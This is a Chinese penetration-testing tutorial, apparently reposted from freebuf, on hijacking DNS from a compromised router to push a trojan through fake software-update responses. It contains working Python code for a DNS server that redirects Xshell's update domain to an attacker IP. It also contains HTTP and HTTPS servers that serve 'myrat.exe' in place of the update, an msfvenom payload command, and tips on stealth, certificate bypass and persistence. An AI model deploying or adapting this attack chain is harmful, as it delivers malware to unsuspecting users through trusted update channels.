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劫持DNS通过流量植入木马实验

发布时间:2018-06-04 18:21文章来源:freebuf文章作者:R1ngk3y 点击次数:
摘要:很多时候对目标进行渗透时一般会从web、网络设备、针对性钓鱼这三个方向入手。假设我们控制了目标网络中的一台网络设备,如路由器,内网用户流量会从这个地方经过我们怎么获取其权限呢 ? ...

 

前言

很多时候对目标进行渗透时一般会从web、网络设备、针对性钓鱼这三个方向入手。假设我们控制了目标网络中的一台网络设备,如路由器,内网用户流量会从这个地方经过我们怎么获取其权限呢 ?

这种时候可以在路由器上抓包分析用户流量,比如启动xshell、notepad++等软件时发送的更新请求包,然后我们替换软件更新的http响应包达到植入木马目的。

分析流量一般用tcpdump,如果只有路由器后台权限没有地方可以执行命令的话可以用DNS服务器配合HTTP代理来截获流量。

这里就演示一下去劫持软件更新服务器达到植入木马的目的

一、部署DNS服务器

为了方便演示这里将受害者机器上的DNS改为攻击者IP

下载sqlmap项目提取sqlmap\sqlmap-stable\lib\request目录中的dns.py

执行看看效果

在用户机器上ping了一下,DNS服务器这边已经成功接收域名解析请求并响应127.0.0.1

但是这个脚本中把所有域名解析请求都响应成127.0.0.1

需要修改一下

我们的需求是能够正常解析域名,再对某些指定域名进行劫持。

修改后代码如下

#!/usr/bin/env python""" Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """import osimport reimport socketimport threadingimport timeimport dns.resolverclass DNSQuery(object):     """     Used for making fake DNS resolution responses based on received     raw request     Reference(s):  http://code.activestate.com/recipes/491264-mini-fake-dns-server/   https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py      """     def __init__(self, raw):         self._raw = raw         self._query = ""         type_ = (ord(raw[2]) >> 3) & 15                 # Opcode bits         if type_ == 0:                                  # Standard query             i = 12             j = ord(raw[i])            while j != 0:                 self._query += raw[i + 1:i + j + 1] + '.'                 i = i + j + 1                 j = ord(raw[i])    def response(self, resolution):         """         Crafts raw DNS resolution response packet         """         retVal = ""         if self._query:             retVal += self._raw[:2]                                             # Transaction ID             retVal += "\x85\x80"                                                # Flags (Standard query response, No error)             retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00"      # Questions and Answers Counts             retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)]      # Original Domain Name Query             retVal += "\xc0\x0c"                                                # Pointer to domain name             retVal += "\x00\x01"                                                # Type A             retVal += "\x00\x01"                                                # Class IN             retVal += "\x00\x00\x00\x20"                                        # TTL (32 seconds)             retVal += "\x00\x04"                                                # Data length             retVal += "".join(chr(int(_)) for _ in resolution.split('.'))       # 4 bytes of IP         return retValclass DNSServer(object):     def __init__(self):         self.my_resolver = dns.resolver.Resolver()         self.my_resolver.nameservers = ['8.8.8.8']         self._check_localhost()         self._requests = []         self._lock = threading.Lock()        try:             self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)        except AttributeError:             self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)         self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)         self._socket.bind(("", 53))         self._running = False         self._initialized = False     def _check_localhost(self):         response = ""         try:             s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)             s.connect(("", 53))             s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex"))  # A www.google.com             response = s.recv(512)        except:            pass         finally:            if response and "google" in response:                raise socket.error("another DNS service already running on *:53")    def pop(self, prefix=None, suffix=None):         """         Returns received DNS resolution request (if any) that has given         prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)         """         retVal = None         with self._lock:            for _ in self._requests:                if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):                     retVal = _                     self._requests.remove(_)                    break         return retVal    def get_domain_A(self,domain):         try:             results=self.my_resolver.query(domain,'A')            for i in results.response.answer:                for j in i.items:                    try:                         ip_address = j.address                        if re.match('\d+\.+\d+\.+\d+\.+\d', ip_address):                            return ip_address                    except AttributeError as e:                        continue         except Exception as e:            return '127.0.0.1'                  def run(self):         """         Runs a DNSServer instance as a daemon thread (killed by program exit)         """         def _():             try:                 self._running = True                 self._initialized = True                 while True:                     data, addr = self._socket.recvfrom(1024)                     _ = DNSQuery(data)                     domain=_._query[:-1] ###### exploit                     ip=self.get_domain_A(domain)                    if domain=='cdn.netsarang.net':                         ip='192.168.80.142'                     print domain,' -> ',ip                     self._socket.sendto(_.response(ip), addr)                    with self._lock:                         self._requests.append(_._query)            except KeyboardInterrupt:                raise             finally:                 self._running = False         thread = threading.Thread(target=_)         thread.daemon = True         thread.start()if __name__ == "__main__":     server = None     try:         server = DNSServer()         server.run()        while not server._initialized:             time.sleep(0.1)        while server._running:            while True:                 _ = server.pop()                if _ is None:                    break                 else:                     domian=_[:-1]                    #print "[i] %s with A %s" % (domian,server.get_domain_A(domian))             time.sleep(1)    except socket.error, ex:        if 'Permission' in str(ex):            print "[x] Please run with sudo/Administrator privileges"         else:            raise     except KeyboardInterrupt:         os._exit(0)    finally:        if server:             server._running = False

这个脚本的功能是将用户的DNS请求转发给GOOGLE的DNS服务器使用户能够正常上网,然后再对指定域名做劫持

可以看到现在用户已经可以正常上网了

然后部署HTTP代理服务器

代码我已经写好了

# -*- coding: UTF-8 -*-import socketimport threading, getopt, sys, stringimport re#设置默认的最大连接数和端口号list=50port=80file_contents=open('myrat.exe','rb').read()def req_server():     return 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents     def jonnyS(client, address):     try:    #设置超时时间         client.settimeout(500)    #接收数据的大小         buf = client.recv(2048)        print buf    #将接收到的信息原样的返回到客户端中         client.send(req_server())    #超时后显示退出     except socket.timeout:        print 'time out'     #关闭与客户端的连接     client.close()def main():     #创建socket对象。调用socket构造函数     #AF_INET为ip地址族,SOCK_STREAM为流套接字     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #将socket绑定到指定地址,第一个参数为ip地址,第二个参数为端口号     sock.bind(('0.0.0.0', port))    #设置最多连接数量     sock.listen(list)    while True:    #服务器套接字通过socket的accept方法等待客户请求一个连接         client, address = sock.accept()         thread = threading.Thread(target=jonnyS, args=(client, address))         thread.start()if __name__ == '__main__':     main()

这里的功能是收到用户的HTTP请求后直接响应一个二进制文件,也就是我们的木马

效果如下

很多软件更新时都走的https所以我们还需搭建https代理服务器

搭建HTTPS代理服务器

代码如下

import socketserver, ssl, timeclass MyHTTPSHandler_socket(socketserver.BaseRequestHandler):     def handle(self):         context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)         context.load_cert_chain(certfile="cert.pem")         SSLSocket = context.wrap_socket(self.request, server_side=True)         self.data = SSLSocket.recv(1024)         print(self.data)         file_contents=open('myrat.exe','rb').read()         buf = 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents         SSLSocket.send(buf)if __name__ == "__main__":     port = 443     httpd = socketserver.TCPServer(('0.0.0.0', port), MyHTTPSHandler_socket)     httpd.serve_forever()

执行openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes  可以生成证书

搭建好后配置木马,这里就用msf做演示

msfvenom -p windows/ -f exe -o myrat.exe

然后看一下xshell的更新请求

域名是cdn.netsarang.net,看一下流量

可以看到是走的https

在dns服务器中添加如下

架设https服务器

运行脚本和msf监听

视频效果图

总结

1.可以针对firefox等自动更新或后台静默更新的这类应用程序进行流量替换,这样成功率会很高被发现可能性也小

2.当更新包请求是https时需要注意证书问题,可以尝试利用cname绕过,比如在dns服务器上把www.baidu.com重定向到www.exploit.com,我们有www.exploit.com的合法证书这样就不会报错.

3.在路由器上修改DNS也可以作为一种持久性控制的手段,某天权限不慎丢失了,继续植入就行了。

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